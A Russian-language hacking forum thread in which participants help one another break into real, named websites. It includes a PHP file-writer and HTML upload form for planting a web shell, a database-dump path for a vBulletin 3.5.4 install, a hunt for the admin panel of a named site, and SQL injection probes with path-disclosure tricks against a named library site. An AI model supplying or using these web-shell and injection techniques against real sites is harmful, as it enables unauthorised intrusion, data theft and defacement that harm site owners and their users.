Видели когда нибудь такие ссылки: http://wallenberg.ru/component/option,com_contact/task,view/contact_id,1/Itemid,94/ ??? Если изменяю, id на -999 допустим, открывается стандартная какая то страница. Почему?
groundhog, по сути у него это и есть) Nightmarе, можно создать файл, как сказал groundhog, только его содержимое будет примерно таким: PHP: <?php file_put_contents('путь до файла', $_POST['file']); ?> Далее, создаешь на локале файл: HTML: <form action='http://site.com/путь_до_получившегося_файла' method='post'> <textarea name='file'></textarea> <input type='submit'/> </form> Кидаешь в текстарею код шелла, жмешь баттон, и получаешь веб-шел)
Комрады подскажите!!! Нужно похекать сайт на vBulletin 3.5.4 На одном из форумов видел SQL INJ - из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Таким образом можно сделать дамп базы данных. Как должен будет выглядеть запрос? Мне для начала нужно заняться подборкой полей? Просто Инъекциями я начал заниматься недавно, в голове полная каша... помогите разобраться...
ага, только перед этим еще убедится, что по данному урлу именно sql-inj, а не просто раскрытие пути и т.п.
/install/upgrade_301.php?step=backup И вообще... Тебе сюда: http://forum.antichat.ru/thread22852.html
Если ты имел в виду это Easy way to 0wn nulled vBulletin installations, то речь идет не о SQL-инъекции, так как получить дамп позволяет отсутствие проверки лицензионого ключа на нуленных версиях vbulletin
помогите найти админку) случайно наткнулся,основной сайт вроде с фильтрацией а подраздел полностью дырявый http://www.7info.ru/schools
Forbidden You don't have permission to access /sitadm/ on this server. Это значит я не имею права к просмотру данной папки?
http://ilibrary.ru/text/1320/p.1' - уязвимость есть, делаю http://ilibrary.ru/text/1320/p.1+order+by+1+-- - пишет ошибку =( Подскажите)
И еще "=" заменяется на "." Но можно раскрыть путь: http://ilibrary.ru/text/1%22 и еще там addslashes (http://ru.php.net/addslashes) http://ilibrary.ru/text/1' так что скорее всего только путь пока